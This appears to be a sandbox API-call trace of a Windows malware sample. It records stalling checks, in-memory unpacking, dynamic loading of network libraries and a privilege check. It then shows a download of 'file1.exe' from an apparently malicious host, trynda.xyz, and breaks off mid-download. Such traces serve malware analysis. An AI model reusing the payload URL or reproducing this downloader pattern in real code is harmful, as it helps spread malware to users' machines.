	[0052.383] GetLastError () returned 0x579
	[0052.383] IsValidSecurityDescriptor (pSecurityDescriptor=0x0) returned 0
	[0052.390] SetScrollPos (hWnd=0x0, nBar=506, nPos=-1824637720, bRedraw=1) returned 0
	[0052.391] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c47000 | out: hHeap=0x2c40000) returned 1
	[0052.391] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c46e98 | out: hHeap=0x2c40000) returned 1
	[0052.391] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c47048 | out: hHeap=0x2c40000) returned 1
	[0052.391] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c470d8 | out: hHeap=0x2c40000) returned 1
	[0052.391] CopyImage (h=0x0, type=0x0, cx=-8, cy=1898, flags=0x8) returned 0x0
	[0052.414] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="XxxxX") returned 0x2d0
	[0052.415] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0
	[0052.415] GetCursorPos (in: lpPoint=0xf3eafc | out: lpPoint=0xf3eafc*(x=1095, y=465)) returned 1
	[0052.415] GetCursorPos (in: lpPoint=0xf3eb10 | out: lpPoint=0xf3eb10*(x=1095, y=465)) returned 1
	[0052.415] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x12b) returned 0x102
	[0052.732] GetCursorPos (in: lpPoint=0xf3eb10 | out: lpPoint=0xf3eb10*(x=1095, y=465)) returned 1
	[0052.732] GetClientRect (in: hWnd=0x0, lpRect=0xf3eab8 | out: lpRect=0xf3eab8) returned 0
	[0052.732] CreateDCA (pwszDriver="DISPLAY", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0xf0105ee
	[0052.734] EnumObjects (hdc=0xf0105ee, nType=2, lpFunc=0x2bf0000, lParam=0x0) 
	[0052.955] GetModuleHandleA (lpModuleName="ntdll") returned 0x77970000
	[0052.956] GetModuleHandleA (lpModuleName=0x0) returned 0xa60000
	[0053.768] VirtualProtect (in: lpAddress=0xa60000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xf3d21c | out: lpflOldProtect=0xf3d21c*=0x2) returned 1
	[0053.769] VirtualProtect (in: lpAddress=0xa61000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xf3d21c | out: lpflOldProtect=0xf3d21c*=0x20) returned 1
	[0053.769] VirtualProtect (in: lpAddress=0xa62000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xf3d21c | out: lpflOldProtect=0xf3d21c*=0x20) returned 1
	[0053.769] VirtualProtect (in: lpAddress=0xa63000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xf3d21c | out: lpflOldProtect=0xf3d21c*=0x20) returned 1
	[0053.769] VirtualProtect (in: lpAddress=0xa64000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xf3d21c | out: lpflOldProtect=0xf3d21c*=0x20) returned 1
	[0053.771] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x730a0000
	[0054.161] GetProcAddress (hModule=0x730a0000, lpProcName="InternetCrackUrlW") returned 0x731fcfa0
	[0054.161] GetProcAddress (hModule=0x730a0000, lpProcName="InternetQueryDataAvailable") returned 0x731cec50
	[0054.161] GetProcAddress (hModule=0x730a0000, lpProcName="InternetOpenUrlW") returned 0x7329f3b0
	[0054.162] GetProcAddress (hModule=0x730a0000, lpProcName="InternetReadFile") returned 0x731d3a70
	[0054.162] GetProcAddress (hModule=0x730a0000, lpProcName="InternetOpenW") returned 0x731be9e0
	[0054.162] GetProcAddress (hModule=0x730a0000, lpProcName="InternetCloseHandle") returned 0x731ad000
	[0054.162] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x754f0000
	[0054.162] GetProcAddress (hModule=0x754f0000, lpProcName=0x13) returned 0x754f5030
	[0054.162] GetProcAddress (hModule=0x754f0000, lpProcName=0x34) returned 0x75526cb0
	[0054.162] GetProcAddress (hModule=0x754f0000, lpProcName=0x3) returned 0x75500910
	[0054.162] GetProcAddress (hModule=0x754f0000, lpProcName=0x10) returned 0x75500c50
	[0054.163] GetProcAddress (hModule=0x754f0000, lpProcName=0x74) returned 0x75507170
	[0054.163] GetProcAddress (hModule=0x754f0000, lpProcName=0x73) returned 0x754f5b40
	[0054.163] GetProcAddress (hModule=0x754f0000, lpProcName=0x4) returned 0x754f5410
	[0054.163] GetProcAddress (hModule=0x754f0000, lpProcName=0x17) returned 0x75504510
	[0054.163] LoadLibraryA (lpLibFileName="WINHTTP.dll") returned 0x72ff0000
	[0054.658] GetProcAddress (hModule=0x72ff0000, lpProcName="WinHttpOpen") returned 0x7301f830
	[0054.659] GetProcAddress (hModule=0x72ff0000, lpProcName="WinHttpCloseHandle") returned 0x73014660
	[0054.659] GetProcAddress (hModule=0x72ff0000, lpProcName="WinHttpQueryDataAvailable") returned 0x730135b0
	[0054.659] GetProcAddress (hModule=0x72ff0000, lpProcName="WinHttpReceiveResponse") returned 0x73015890
	[0054.659] GetProcAddress (hModule=0x72ff0000, lpProcName="WinHttpSendRequest") returned 0x730115b0
	[0054.659] GetProcAddress (hModule=0x72ff0000, lpProcName="WinHttpReadData") returned 0x73012330
	[0054.659] GetProcAddress (hModule=0x72ff0000, lpProcName="WinHttpConnect") returned 0x730038e0
	[0054.659] GetProcAddress (hModule=0x72ff0000, lpProcName="WinHttpOpenRequest") returned 0x73016f20
	[0054.659] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x76ba0000
	[0054.660] GetProcAddress (hModule=0x76ba0000, lpProcName="wnsprintfW") returned 0x76bc4e90
	[0054.660] GetProcAddress (hModule=0x76ba0000, lpProcName="PathFindExtensionW") returned 0x76bb3c20
	[0054.660] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x772d0000
	[0054.660] GetProcAddress (hModule=0x772d0000, lpProcName="WideCharToMultiByte") returned 0x772e6b10
	[0054.660] GetProcAddress (hModule=0x772d0000, lpProcName="GetProcessHeap") returned 0x772e51f0
	[0054.661] GetProcAddress (hModule=0x772d0000, lpProcName="HeapFree") returned 0x772e57f0
	[0054.661] GetProcAddress (hModule=0x772d0000, lpProcName="HeapAlloc") returned 0x779b2dc0
	[0054.661] GetProcAddress (hModule=0x772d0000, lpProcName="HeapReAlloc") returned 0x779af630
	[0054.661] GetProcAddress (hModule=0x772d0000, lpProcName="CloseHandle") returned 0x7733eab0
	[0054.661] GetProcAddress (hModule=0x772d0000, lpProcName="lstrcatW") returned 0x773271a0
	[0054.661] GetProcAddress (hModule=0x772d0000, lpProcName="LoadLibraryA") returned 0x772e5a80
	[0054.662] GetProcAddress (hModule=0x772d0000, lpProcName="CreateFileW") returned 0x7733ed10
	[0054.662] GetProcAddress (hModule=0x772d0000, lpProcName="GetModuleFileNameW") returned 0x772e5090
	[0054.662] GetProcAddress (hModule=0x772d0000, lpProcName="WriteFile") returned 0x7733f180
	[0054.662] GetProcAddress (hModule=0x772d0000, lpProcName="GetTempFileNameW") returned 0x7733efd0
	[0054.662] GetProcAddress (hModule=0x772d0000, lpProcName="GetEnvironmentVariableW") returned 0x772e4fb0
	[0054.662] GetProcAddress (hModule=0x772d0000, lpProcName="ExitProcess") returned 0x772e3cb0
	[0054.663] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x750c0000
	[0054.663] GetProcAddress (hModule=0x750c0000, lpProcName="wsprintfW") returned 0x750df440
	[0054.663] GetProcAddress (hModule=0x750c0000, lpProcName="wsprintfA") returned 0x750dfaa0
	[0054.663] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x756e0000
	[0054.663] GetProcAddress (hModule=0x756e0000, lpProcName="GetTokenInformation") returned 0x756fee90
	[0054.663] GetProcAddress (hModule=0x756e0000, lpProcName="GetSidSubAuthorityCount") returned 0x756ff420
	[0054.664] GetProcAddress (hModule=0x756e0000, lpProcName="GetSidSubAuthority") returned 0x756ff230
	[0054.664] GetProcAddress (hModule=0x756e0000, lpProcName="OpenProcessToken") returned 0x756fefb0
	[0054.664] VirtualProtect (in: lpAddress=0xa60000, dwSize=0x400, flNewProtect=0x2, lpflOldProtect=0xf3d22c | out: lpflOldProtect=0xf3d22c*=0x40) returned 1
	[0054.664] VirtualProtect (in: lpAddress=0xa61000, dwSize=0xb44, flNewProtect=0x20, lpflOldProtect=0xf3d22c | out: lpflOldProtect=0xf3d22c*=0x40) returned 1
	[0054.708] VirtualProtect (in: lpAddress=0xa62000, dwSize=0x680, flNewProtect=0x2, lpflOldProtect=0xf3d22c | out: lpflOldProtect=0xf3d22c*=0x40) returned 1
	[0054.708] VirtualProtect (in: lpAddress=0xa63000, dwSize=0x8, flNewProtect=0x4, lpflOldProtect=0xf3d22c | out: lpflOldProtect=0xf3d22c*=0x40) returned 1
	[0054.709] VirtualProtect (in: lpAddress=0xa64000, dwSize=0x11a, flNewProtect=0x2, lpflOldProtect=0xf3d22c | out: lpflOldProtect=0xf3d22c*=0x40) returned 1
	[0054.737] GetProcessHeap () returned 0x1100000
	[0054.737] LoadLibraryA (lpLibFileName="shell32") returned 0x75760000
	[0054.737] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0xf3cec0 | out: TokenHandle=0xf3cec0*=0x2dc) returned 1
	[0054.737] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xf3cec4 | out: TokenInformation=0x0, ReturnLength=0xf3cec4) returned 0
	[0054.737] RtlAllocateHeap (HeapHandle=0x1100000, Flags=0x8, Size=0x14) returned 0x111c218
	[0054.737] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x19, TokenInformation=0x111c218, TokenInformationLength=0x14, ReturnLength=0xf3cec4 | out: TokenInformation=0x111c218, ReturnLength=0xf3cec4) returned 1
	[0054.737] GetSidSubAuthorityCount (pSid=0x111c220*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000)) returned 0x111c221
	[0054.737] GetSidSubAuthority (pSid=0x111c220*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000), nSubAuthority=0x0) returned 0x111c228
	[0054.737] HeapFree (in: hHeap=0x1100000, dwFlags=0x0, lpMem=0x111c218 | out: hHeap=0x1100000) returned 1
	[0054.737] CloseHandle (hObject=0x2dc) returned 1
	[0054.738] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xf3d0e8 | out: lpWSAData=0xf3d0e8) returned 0
	[0054.756] RtlGetVersion (in: lpVersionInformation=0xf3cdac | out: lpVersionInformation=0xf3cdac*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 0x0
	[0054.763] wnsprintfW (in: pszDest=0xf3cee0, cchDest=260, pszFmt="http://trynda.xyz/file%d.exe" | out: pszDest="http://trynda.xyz/file1.exe") returned 27
	[0054.763] InternetCrackUrlW (in: lpszUrl="http://trynda.xyz/file1.exe", dwUrlLength=0x1b, dwFlags=0x0, lpUrlComponents=0xf3ce14 | out: lpUrlComponents=0xf3ce14) returned 1
	[0054.786] RtlAllocateHeap (HeapHandle=0x1100000, Flags=0x8, Size=0x16) returned 0x111c318
	[0054.786] RtlAllocateHeap (HeapHandle=0x1100000, Flags=0x8, Size=0x16) returned 0x111c058
	[0054.786] HeapFree (in: hHeap=0x1100000, dwFlags=0x0, lpMem=0x111c318 | out: hHeap=0x1100000) returned 1
	[0054.786] HeapFree (in: hHeap=0x1100000, dwFlags=0x0, lpMem=0x111c058 | out: hHeap=0x1100000) returned 1
	[0054.786] InternetOpenW (lpszAgent=0x0, dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
	[0055.179] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="http://trynda.xyz/file1.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x400000, dwContext=0x0) returned 0xcc000c
	[0057.038] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.040] RtlAllocateHeap (HeapHandle=0x1100000, Flags=0x8, Size=0x2f5) returned 0x117c738
	[0057.040] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x117c738, dwNumberOfBytesToRead=0x2f5, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x117c738*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2f5) returned 1
	[0057.040] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.040] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x117c738, Size=0x22f5) returned 0x117ca38
	[0057.041] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x117cd2d, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x117cd2d*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.041] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.041] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x117ca38, Size=0x36e6) returned 0x117ca38
	[0057.041] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x117ed2d, dwNumberOfBytesToRead=0x13f1, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x117ed2d*, lpdwNumberOfBytesRead=0xf3ce8c*=0x13f1) returned 1
	[0057.041] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.046] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x117ca38, Size=0x3c9a) returned 0x117ca38
	[0057.046] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x118011e, dwNumberOfBytesToRead=0x5b4, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x118011e*, lpdwNumberOfBytesRead=0xf3ce8c*=0x5b4) returned 1
	[0057.046] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.046] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x117ca38, Size=0x5c9a) returned 0x11806e0
	[0057.047] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x118437a, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x118437a*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.047] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.047] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x11806e0, Size=0x7c9a) returned 0x1186388
	[0057.048] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x118c022, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x118c022*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.048] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.048] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x1186388, Size=0x9c9a) returned 0x118e030
	[0057.049] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1195cca, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x1195cca*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.049] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.049] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118e030, Size=0xa8f6) returned 0x118e030
	[0057.049] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1197cca, dwNumberOfBytesToRead=0xc5c, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x1197cca*, lpdwNumberOfBytesRead=0xf3ce8c*=0xc5c) returned 1
	[0057.049] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.252] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118e030, Size=0xaeaa) returned 0x118e030
	[0057.252] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1198926, dwNumberOfBytesToRead=0x5b4, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x1198926*, lpdwNumberOfBytesRead=0xf3ce8c*=0x5b4) returned 1
	[0057.253] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.253] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118e030, Size=0xceaa) returned 0x117c738
	[0057.253] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11875e2, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11875e2*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.253] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.253] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x117c738, Size=0xeeaa) returned 0x117c738
	[0057.253] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11895e2, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11895e2*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.253] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.253] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x117c738, Size=0x10eaa) returned 0x118c5f8
	[0057.254] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x119b4a2, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x119b4a2*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.254] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.255] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x12eaa) returned 0x118c5f8
	[0057.255] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x119d4a2, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x119d4a2*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.255] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.255] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x14eaa) returned 0x118c5f8
	[0057.255] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x119f4a2, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x119f4a2*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.255] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.256] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x16eaa) returned 0x118c5f8
	[0057.256] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11a14a2, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11a14a2*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.256] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.256] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x18d16) returned 0x118c5f8
	[0057.256] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11a34a2, dwNumberOfBytesToRead=0x1e6c, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11a34a2*, lpdwNumberOfBytesRead=0xf3ce8c*=0x1e6c) returned 1
	[0057.256] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.626] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x192ca) returned 0x118c5f8
	[0057.626] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11a530e, dwNumberOfBytesToRead=0x5b4, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11a530e*, lpdwNumberOfBytesRead=0xf3ce8c*=0x5b4) returned 1
	[0057.626] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.626] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x1b2ca) returned 0x118c5f8
	[0057.626] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11a58c2, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11a58c2*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.627] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.627] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x1d2ca) returned 0x118c5f8
	[0057.627] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11a78c2, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11a78c2*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.627] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.627] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x1f2ca) returned 0x11a98d0
	[0057.630] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11c6b9a, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11c6b9a*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.630] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.631] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x11a98d0, Size=0x212ca) returned 0x11c8ba8
	[0057.633] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11e7e72, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11e7e72*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.633] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.633] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x11c8ba8, Size=0x232ca) returned 0x11c8ba8
	[0057.633] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11e9e72, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11e9e72*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.633] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.633] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x11c8ba8, Size=0x252ca) returned 0x118c5f8
	[0057.633] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11af8c2, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11af8c2*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.633] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.634] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x272ca) returned 0x118c5f8
	[0057.634] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11b18c2, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11b18c2*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.634] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.634] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x292ca) returned 0x118c5f8
	[0057.634] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11b38c2, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11b38c2*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.634] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.634] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x2b2ca) returned 0x118c5f8
	[0057.634] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11b58c2, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11b58c2*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.634] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.635] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x2d2ca) returned 0x118c5f8
	[0057.635] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11b78c2, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11b78c2*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.635] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.635] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x2f2ca) returned 0x118c5f8
	[0057.635] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11b98c2, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11b98c2*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.635] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.635] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x312ca) returned 0x118c5f8
	[0057.635] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11bb8c2, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11bb8c2*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.635] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0057.636] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x118c5f8, Size=0x332ca) returned 0x118c5f8
	[0057.636] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11bd8c2, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11bd8c2*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0057.636] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
